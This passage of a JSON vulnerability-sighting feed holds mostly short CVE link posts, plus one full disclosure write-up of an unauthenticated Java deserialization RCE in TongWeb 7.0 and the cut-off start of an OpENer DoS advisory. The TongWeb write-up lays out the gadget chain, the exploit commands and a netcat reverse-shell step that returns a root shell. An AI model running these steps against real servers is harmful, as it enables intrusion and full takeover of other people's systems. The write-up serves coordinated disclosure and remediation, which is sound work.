many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-17T22:20:04.044926Z"}, {"uuid": "bd404350-b4ed-494a-8153-efde2ca8cecf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5136", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmlehcflp22", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-5136 \u0432 Foreman: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/AD72F138-DE2A-487F-9658-42DC11BA56DD", "creation_timestamp": "2026-07-01T22:37:07.802106Z"}, {"uuid": "43d42cef-edaa-4565-b8a1-c3d6a21e403d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5135", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmrvxzn462y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-5135 \u0432 Foreman: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/5E1184E8-5EC1-468A-8557-1ED8FCB2417A", "creation_timestamp": "2026-07-02T00:34:18.138790Z"}, {"uuid": "b2bc5a4d-de24-4175-9738-cbf2af637dd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5138", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmrxhtt7u2q", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-5138 \u0432 Foreman: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/AF67EA39-721E-460A-9845-EF3870AD4C42", "creation_timestamp": "2026-07-02T00:35:08.136466Z"}, {"uuid": "b4caa7dd-6ecc-4e97-a1f3-c83d5bb172b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5142", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmry7olzh2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-5142 \u0432 Foreman: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/50F40F81-89E3-4A18-99FE-B8E782B72F3D", "creation_timestamp": "2026-07-02T00:35:33.365239Z"}, {"uuid": "3936dc5f-8902-4078-961a-c6b6b3b16704", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5142", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmwlmecux27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-5142 \u0432 Foreman: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/478D3C96-D10D-4C7D-A496-341A90A6AC8D", "creation_timestamp": "2026-07-02T01:57:59.147534Z"}, {"uuid": "433da36c-8ca8-401f-b833-6031fe249b16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5135", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmwpguaex27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-5135 \u0432 Foreman: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/19AF18A1-EB3D-4E59-8917-98AA211E3E98", "creation_timestamp": "2026-07-02T02:00:11.925269Z"}, {"uuid": "45397d67-352a-4531-a262-df92164bb97e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5138", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmxdt3ckv2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-5138 \u0432 Foreman: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/E1530609-949E-44CE-AC83-BC6420C79817", "creation_timestamp": "2026-07-02T02:11:31.456015Z"}, {"uuid": "cb9dc543-eeac-49d4-a598-5de1ed1a45cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51031", "type": "published-proof-of-concept", "source": "Telegram/EqoYaV6nsS8NdFMiUlh20F2PL0M0xTB12P2J_sYTarvuZL8", "content": "", "creation_timestamp": "2026-08-18T00:00:10.054406Z"}, {"uuid": "7d71c1cf-bf1b-4c12-afaa-b9521c18f509", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51946", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnih6gcem2k", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 CVE-2026-51946 \u0432 GoAdmin: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/6FBAF78F-39EF-414C-9AFE-EAC8FF6D9053", "creation_timestamp": "2026-07-02T07:17:38.819321Z"}, {"uuid": "d4072ddd-f79e-416f-b903-7ade3b371ecb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51946", "type": "seen", "source": "https://bsky.app/profile/qiancx.bsky.social/post/3mpnit5xhki22", "content": "\u6df1\u5ea6\u89e3\u6790GoAdmin v1.2.26 SQL\u6ce8\u5165\u6f0f\u6d1e(CVE-2026-51946)\u53ca\u5b89\u5168\u9632\u62a4\u6307\u5357\n\n\n\nhttps://qian.cx/posts/37821069-B96E-499F-AC26-0CB371E93375", "creation_timestamp": "2026-07-02T07:24:19.974513Z"}, {"uuid": "bb64b929-9f9c-44ae-9475-2b54c2adf20d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5142", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnlet37ru26", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-5142 \u0432 Foreman: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/BD4F3519-1037-416F-A3AB-7963DE3A59EA", "creation_timestamp": "2026-07-02T08:10:19.968111Z"}, {"uuid": "0a5fe539-ea75-44f2-9671-fd39bd306d73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5135", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnlol6pcz2l", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-5135 \u0432 Foreman: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/18754D54-A2E4-4AB5-966C-0F09B4DB650B", "creation_timestamp": "2026-07-02T08:15:27.321000Z"}, {"uuid": "745ef3cb-887b-4778-904f-8659981bfa9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5138", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnlpd4iom2u", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-5138 \u0432 Foreman: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/1FDCBE89-6AFE-4347-8A67-DA3BDCF7E70E", "creation_timestamp": "2026-07-02T08:15:52.012495Z"}, {"uuid": "eb046e45-3808-4bb5-8ac7-3b4dd1d87a46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5136", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnlvkzcfs2d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-5136 \u0432 Foreman: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/E27512D0-3DDB-4AB5-89AD-82FD6F111E78", "creation_timestamp": "2026-07-02T08:19:22.026332Z"}, {"uuid": "7d4075a9-cbfa-40f4-9769-8ae47eb48e09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51947", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnra7ojcj27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-51947 \u0432 Pivotal CRM: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/206C6524-E509-401D-8C0E-1B31FD9DE43D", "creation_timestamp": "2026-07-02T09:54:48.938180Z"}, {"uuid": "721795e3-5052-4e3a-8ea5-de5d5c50727d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51368", "type": "seen", "source": "https://gist.github.com/loseyourself1/b3de4edf11994bb0a791e5f73bab421b", "content": "# TongWeb 7.0 \u2014 Unauthenticated Remote Code Execution via Java Deserialization\n\n> **CVE submission write-up & Proof of Concept**\n> *CWE-502: Deserialization of Untrusted Data*\n\n---\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|---|---|\n| **Title** | TongWeb 7.0 Unauthenticated Remote Code Execution via Java Deserialization (`HttpInvokerServiceExporter`) |\n| **Product** | TongWeb Application Server |\n| **Vendor** | TongTech (Beijing Tong Tech Co., Ltd.) \u2014 \u4e1c\u65b9\u901a |\n| **Affected Version** | TongWeb 7.0 (confirmed on build **7.0.24**; other 7.0.x builds are likely affected) |\n| **Vulnerability Type** | CWE-502: Deserialization of Untrusted Data |\n| **Impact** | Remote Code Execution (RCE) |\n| **Authentication Required** | **None** |\n| **Attack Vector** | Network (administration port, default TCP **9060**) |\n| **Attack Complexity** | Low |\n| **User Interaction** | None |\n| **Privileges Required** | None |\n| **CVSS v3.1 Base Score** | **9.8 (Critical)** |\n| **CVSS v3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |\n\n---\n\n## 2. Description\n\nTongWeb 7.0 ships a Spring `HttpInvokerServiceExporter` endpoint exposed at\n`/console/service` and `/heimdall/service` on the administration port (default **9060**).\nThis endpoint deserializes a Java object directly from the HTTP request body via\n`ObjectInputStream.readObject()`, with **no authentication** and **no input validation**.\n\nAn unauthenticated, remote attacker can send a crafted serialized Java object to this\nendpoint and achieve **arbitrary operating-system command execution** running with the\nprivileges of the TongWeb process \u2014 typically **root**, because the administration server\nis normally started by the system account.\n\nThe vulnerability is reachable with a **single HTTP POST request** and requires no user\ninteraction.\n\n---\n\n## 3. Affected Endpoints\n\n| Endpoint | Web Application | Authentication |\n|---|---|---|\n| `POST /console/service` | `console` (management console) | **None** |\n| `POST /heimdall/service` | `heimdall` (cluster management) | **None** |\n\nBoth endpoints are explicitly excluded from authentication in `web.xml` via the\n`none-realm-resources` security constraint (see \u00a74.2). The `LoginFilter` only intercepts\n`/rest/*` and does not protect `/service`.\n\n---\n\n## 4. Root Cause Analysis\n\n### 4.1 Vulnerable Spring configuration (the *source*)\n\nFile: `applications/console/WEB-INF/classes/service-remotecall.xml`\n\n```xml\n\n    \n        \n    \n    \n\n\n\n    \n        \n            \n        \n    \n\n```\n\n`HttpInvokerServiceExporter` is Spring's HTTP remote-invocation exporter. Its\n`handleRequest()` method reads the raw HTTP request body into an `ObjectInputStream` and\ncalls `readObject()` \u2014 **before any type check is performed**:\n\n```java\n// org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter\npublic void handleRequest(HttpServletRequest request, HttpServletResponse response) {\n    RemoteInvocation invocation = readRemoteInvocation(request);   // \u2190 deserialization\n    RemoteInvocationResult result = invokeAndCreateResult(invocation, getProxy());\n    writeRemoteInvocationResult(request, response, result);\n}\n\nprotected RemoteInvocation readRemoteInvocation(HttpServletRequest request) {\n    InputStream is = request.getInputStream();\n    ObjectInputStream ois = createObjectInputStream(is);   // new ObjectInputStream(body)\n    return doReadRemoteInvocation(ois);                    // ois.readObject()\n}\n```\n\nEven if the deserialized object is not a valid `RemoteInvocation`, the malicious code has\nalready executed during `readObject()`.\n\n### 4.2 Authentication bypass\n\nFile: `applications/console/WEB-INF/web.xml`\n\n```xml\n\n    \n        none-realm-resources\n        /service\n        \n    \n    \n\n```\n\nThe `/service` path is listed under `none-realm-resources` with **no** `auth-constraint`,\nso the endpoint is reachable without any credentials.\n\n### 4.3 The gadget chain (*the exploit path*)\n\nThe application classpath bundles `commons-beanutils-1.8.0.jar` (in\n`console/WEB-INF/consolejars/`), which enables the **CommonsBeanutils1 (CB1)** gadget\nchain. The chain avoids `InvokerTransformer` entirely (see \u00a74.4) and terminates in\narbitrary bytecode loading through JDK's built-in `TemplatesImpl`:\n\n```\nPriorityQueue.readObject()                          [Java standard library]\n  \u2514\u2500 PriorityQueue.heapify()\n       \u2514\u2500 PriorityQueue.siftDown()\n            \u2514\u2500 BeanComparator.compare(o1, o2)       [commons-beanutils 1.8.0]\n                 \u2514\u2500 PropertyUtils.getProperty(o1, \"outputProperties\")\n                      \u2514\u2500 TemplatesImpl.getOutputProperties()   [JDK built-in]\n                           \u2514\u2500 TemplatesImpl.newTransformer()\n                                \u2514\u2500 TemplatesImpl.getTransletInstance()\n                                     \u2514\u2500 TemplatesImpl.defineTransletClasses()\n                                          \u2514\u2500 ClassLoader.defineClass(evil bytecode)\n                                               \u2514\u2500 Evil.()  (static initializer)\n                                                    \u2514\u2500 Runtime.getRuntime().exec(cmd)  \u2192 RCE\n```\n\nThe payload is a `PriorityQueue` whose comparator is a\n`BeanComparator(\"outputProperties\", String.CASE_INSENSITIVE_ORDER)` and whose elements are\ntwo `TemplatesImpl` objects carrying attacker-controlled bytecode in their `_bytecodes`\nfield. When deserialized:\n\n1. `PriorityQueue.readObject()` rebuilds its heap and calls `comparator.compare()`.\n2. `BeanComparator` reflectively calls `getOutputProperties()` on the `TemplatesImpl`.\n3. `TemplatesImpl` compiles/loads the attacker bytecode via `defineClass`.\n4. The injected class's `static {}` initializer runs and calls\n   `Runtime.getRuntime().exec(new String[]{\"/bin/sh\",\"-c\", cmd})`.\n\n### 4.4 Why CommonsCollections chains (CC1\u2013CC7) do **not** work\n\nAlthough `commons-collections-3.2.1.jar` is present, the bundled copy has been **patched**\nto disable deserialization of `InvokerTransformer`:\n\n```\nHTTP Status 500 - java.lang.UnsupportedOperationException:\n    Deserialization of InvokerTransformer is disabled\n```\n\n```java\n// InvokerTransformer.readObject() (patched)\nprivate void readObject(ObjectInputStream is) {\n    throw new UnsupportedOperationException(\"Deserialization of InvokerTransformer is disabled\");\n}\n```\n\nAll classic CommonsCollections chains depend on `InvokerTransformer`, so they are not\nviable on this target. The CB1 chain bypasses this restriction by using `BeanComparator`\n(property-based reflection) and `TemplatesImpl` (bytecode loading) instead.\n\n---\n\n## 5. Impact\n\nAn unauthenticated attacker with network reachability to the TongWeb administration port\ncan:\n\n- Execute arbitrary operating-system commands (as **root** in typical deployments);\n- Read, write, and delete arbitrary files on the server;\n- Exfiltrate sensitive data and credentials;\n- Deploy backdoors, web shells, malware, or ransomware;\n- Pivot into the internal network.\n\nNo authentication, no user interaction, and no special conditions are required \u2014 the full\ncompromise is achieved with a single HTTP request.\n\n---\n\n## 6. Proof of Concept\n\n### 6.1 Prerequisites\n\n| Item | Requirement |\n|---|---|\n| JDK | **JDK 8** (payload must be generated/compiled with JDK 8 \u2014 higher versions produce `serialVersionUID`-incompatible objects) |\n| Dependencies | `commons-beanutils-1.8.0.jar`, `commons-collections-3.2.1.jar`, `commons-logging-1.1.3.jar` (obtainable from Maven Central, or copied from the TongWeb `console/WEB-INF/consolejars/` directory) |\n| Target OS | Linux (the reference payload uses `/bin/sh`; Alpine Linux is supported) |\n\n### 6.2 Reproduction environment (Docker)\n\nA minimal vulnerable environment is provided in `docker/`:\n\n```bash\n# Build (place the TongWeb 7.0 installation directory next to the Dockerfile first)\ncd docker\ndocker build -t tongweb-vuln .\ndocker run -d -p 9060:9060 --name tongweb tongweb-vuln\ndocker exec -d tongweb sh -c \"/myapp/TongWeb7.0/bin/startserver.sh\"\n```\n\nReference environment: Alpine Linux 3.9, OpenJDK 1.8.0_212, TongWeb 7.0 (build 7.0.24).\n\n### 6.3 Step 1 \u2014 Compile the exploit\n\n```bash\n# Linux / macOS\njavac -encoding UTF-8 -XDignore.symbol.file \\\n    -cp \"commons-beanutils-1.8.0.jar:commons-collections-3.2.1.jar:commons-logging-1.1.3.jar\" \\\n    TongWebExp.java\n```\n\n```cmd\n:: Windows\n\"C:\\Program Files\\java\\jdk-1.8\\bin\\javac\" -encoding UTF-8 -XDignore.symbol.file ^\n    -cp \"commons-beanutils-1.8.0.jar;commons-collections-3.2.1.jar;commons-logging-1.1.3.jar\" ^\n    TongWebExp.java\n```\n\n### 6.4 Step 2 \u2014 Confirm the deserialization endpoint (non-destructive)\n\nSend 4 bytes of garbage (`test`) to the endpoint. If it is deserializing the request body,\nit responds with a serialization error whose message contains the hex of \"test\":\n\n```bash\ncurl -v -X POST http://:9060/console/service \\\n     -H \"Content-Type: application/x-java-serialized-object\" \\\n     -d \"test\"\n```\n\nExpected response:\n\n```\nHTTP Status 500 - invalid stream header: 74657374\njava.io.StreamCorruptedException: invalid stream header: 74657374\n    java.io.ObjectInputStream.readStreamHeader(...)\n    org.springframework.remoting.rmi.RemoteInvocationSerializingExporter.doReadRemoteInvocation(...)\n```\n\n`74657374` is the hex of `test`. This proves the server is running `readObject()` on the\nrequest body. A batch, non-destructive detector is provided (`tongweb_poc.py`), as is a\nJRMP-based out-of-band confirmation tool (`TongWebVerify.java`) that makes the target\ninitiate a TCP connection back to a listener, proving deserialization fires.\n\n### 6.5 Step 3 \u2014 Execute a command\n\n```bash\njava -cp \"commons-beanutils-1.8.0.jar:commons-collections-3.2.1.jar:commons-logging-1.1.3.jar:.\" \\\n    TongWebExp http://:9060 \"touch /tmp/pwned\"\n```\n\nExpected output:\n\n```\n[*] cmd: touch /tmp/pwned  payload: 1425 bytes\n[*] http://:9060/console/service => HTTP 500 (500=normal, command executed)\n[*] http://:9060/heimdall/service => HTTP 500\n```\n\n> **Note on the HTTP 500 response.** A `500` is **expected** and indicates success. The\n> command runs during the class-loading stage of deserialization; the subsequent exception\n> is thrown only because the injected class is not a valid XSLT translet. The command has\n> already executed by that point.\n\n### 6.6 Step 4 \u2014 Verify execution\n\n```bash\ndocker exec  sh -c \"ls -la /tmp/pwned\"\n# -rw-r--r--    1 root     root     0 Apr 21 09:35 /tmp/pwned\n```\n\n### 6.7 Step 5 \u2014 Reverse shell (optional)\n\nStart a listener on the attacker machine:\n\n```bash\nnc -lvp 4444\n```\n\nSend the reverse-shell payload (Alpine/busybox `nc` uses `-e`; `/dev/tcp` is not\navailable under `ash`):\n\n```bash\njava -cp \"commons-beanutils-1.8.0.jar:commons-collections-3.2.1.jar:commons-logging-1.1.3.jar:.\" \\\n    TongWebExp http://:9060 \"nc  4444 -e /bin/sh\"\n```\n\nThe listener receives a shell:\n\n```\nconnect to [] from [] ...\nid\nuid=0(root) gid=0(root)\n```\n\n### 6.8 Verified results\n\n```\n$ java ... TongWebExp http://127.0.0.1:9060 \"touch /tmp/lzt\"\n[*] cmd: touch /tmp/lzt  payload: 1425 bytes\n[*] http://127.0.0.1:9060/console/service => HTTP 500\n\n$ docker exec  sh -c \"ls -la /tmp/lzt\"\n-rw-r--r--    1 root     root     0 Apr 21 09:35 /tmp/lzt\n```\n\n---\n\n## 7. Files to Upload\n\nThe following is the complete, minimal PoC package for the submission. Upload the\n**source files** and the Docker environment \u2014 do **not** upload compiled `.class` files,\nbinary payloads (`.bin`), or third-party JARs.\n\n### 7.1 Upload these files\n\n| # | File | Purpose |\n|---|---|---|\n| 1 | `README.md` | This write-up (the CVE submission document) |\n| 2 | `TongWebExp.java` | **Main exploit** \u2014 self-contained CB1-NoCC exploit (hand-crafted bytecode, no javassist dependency) |\n| 3 | `TongWebVerify.java` | Out-of-band deserialization confirmation via JRMP client (target connects back) |\n| 4 | `tongweb_poc.py` | Batch, non-destructive detector (sends `test`, checks for `invalid stream header`) |\n| 5 | `tongweb_rce.bat` | Interactive Windows helper (menu-driven command execution / reverse shell) |\n| 6 | `docker/Dockerfile` | Vulnerable reproduction environment |\n| 7 | `docker/README.md` | Environment setup instructions |\n\n### 7.2 Optional supplementary files (for reference)\n\n| File | Purpose |\n|---|---|\n| `GenCB1.java` | Standalone CB1 payload generator used during development |\n| `GenCC6.java` | CommonsCollections6 generator \u2014 **superseded** (fails on the patched target; provided only to document the CC-chain bypass research) |\n\n### 7.3 Do **not** upload\n\n| Item | Reason |\n|---|---|\n| `*.class` files | Compiled artifacts \u2014 the `.java` sources are sufficient |\n| `cb1.bin`, `cc6.bin` | Binary serialized payloads \u2014 regenerated from source |\n| `commons-beanutils-1.8.0.jar`, `commons-collections-3.2.1.jar`, `commons-logging-1.1.3.jar` | Third-party Apache Commons libraries \u2014 available on Maven Central; bundling adds licensing/legal surface |\n| `tongweb_exploit.py` | Uses the CC6/`InvokerTransformer` chain, which is blocked on this target \u2014 superseded by `TongWebExp.java` |\n| Any file containing real production IPs / hostnames | Not part of this CVE; leaking live targets is inappropriate |\n\n> **Before uploading `tongweb_rce.bat`**, replace the hard-coded local paths (e.g.\n> `E:\\claudecode1\\...` and the WeChat-file source path) with relative/generic paths so the\n> script does not disclose the researcher's local environment.\n\n### 7.4 Dependency note\n\nThe three dependency JARs are **not** bundled. A reproducer obtains them by either:\n\n- Downloading from Maven Central:\n  - `commons-beanutils:commons-beanutils:1.8.0`\n  - `commons-collections:commons-collections:3.2.1`\n  - `commons-logging:commons-logging:1.1.3`\n- Copying them from the TongWeb installation at\n  `applications/console/WEB-INF/consolejars/`.\n\n---\n\n## 8. Remediation Recommendations\n\n1. **Remove or disable** the `/service` endpoint if remote invocation is not required.\n2. **Require authentication** by removing `/service` from `none-realm-resources` and\n   adding an `auth-constraint` to the security constraint.\n3. **Replace `HttpInvokerServiceExporter`** \u2014 Spring deprecated this class due to\n   inherent deserialization risk (see [Spring CVE-2016-1000027]).\n4. **Apply a deserialization filter** via `ObjectInputFilter` (JEP 290) to whitelist\n   acceptable classes.\n5. **Restrict network access** to the administration port (9060) with firewall/network\n   policies.\n6. **Upgrade** to a patched TongWeb release when available.\n\n---\n\n## 9. Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04 | Vulnerability discovered during an authorized security assessment |\n| 2026-04 | Proof of concept developed and verified against a Docker reproduction environment |\n| TBD | Vendor (TongTech) notification |\n| TBD | CVE ID assigned |\n| TBD | Coordinated public disclosure |\n\n---\n\n## 10. References\n\n- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n- [Spring Framework CVE-2016-1000027](https://spring.io/blog/2022/05/11/spring-framework-5-3-20-and-4-3-31-available-now)\n- [ysoserial \u2014 Java Deserialization Exploitation](https://github.com/frohoff/ysoserial)\n- [CommonsBeanutils1 Gadget Chain](https://blog.rubiya.kr/index.php/2019/01/09/commons-beanutils/)\n- [JEP 290: Filter Incoming Serialization Data](https://openjdk.org/jeps/290)\n\n---\n\n## 11. Disclaimer\n\nThis vulnerability was discovered and documented during an **authorized security\nassessment**. The proof of concept is provided solely for defensive, educational, and\ncoordinated-disclosure purposes. Unauthorized access to computer systems is illegal; use\nthis material only against systems you own or are explicitly authorized to test.\n", "creation_timestamp": "2026-08-21T14:08:36.745396Z"}, {"uuid": "9b81b6e7-9443-42e3-92ab-4669ed6e0bad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5136", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mporturuzw2w", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-5136 \u0432 Foreman: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/1A1788F9-086F-4A59-94CD-9AE4ADC566DB", "creation_timestamp": "2026-07-02T19:38:27.240831Z"}, {"uuid": "27f2fee5-a074-4fa6-886d-b53c679d6168", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51535", "type": "seen", "source": "https://gist.github.com/MrAlaskan/bec306c51fec9f777b2599f5dea09dd1", "content": "# Security Advisory: CVE-2026-51535\n\n## Vulnerability Information\n* **CVE ID:** CVE-2026-51535\n* **Vendor:** EIPStackGroup\n* **Product:** OpENer (Version 2.3.0, commit 76b95cf)\n* **Vulnerability Type:** CWE-400: Uncontrolled Resource Consumption\n* **Attack Type:** Remote, Unauthenticated\n* **Impact:** Denial of Service (DoS)\n\n## Description\nA resource exhaustion (Denial of Service) vulnerability exists in the network processing loop of OpENer 2.3.0. \n\n## Affected Component\nThe TCP Network Handler in `source/src/ports/generic_networkhandler.c`, specifically the `HandleDataOnTcpSocket`, `CheckAndHandleTcpListenerSocket`, and `NetworkHandlerProcessCyclic` functions.\n\n## Attack Vectors\nAn unauthenticated, remote attacker with network access to the target slave can exploit this vulnerability by establishing a single TCP connection to the OpENer ENIP port (default TCP/44818) and sending a specially crafted, incomplete Ethernet/IP (ENIP) packet 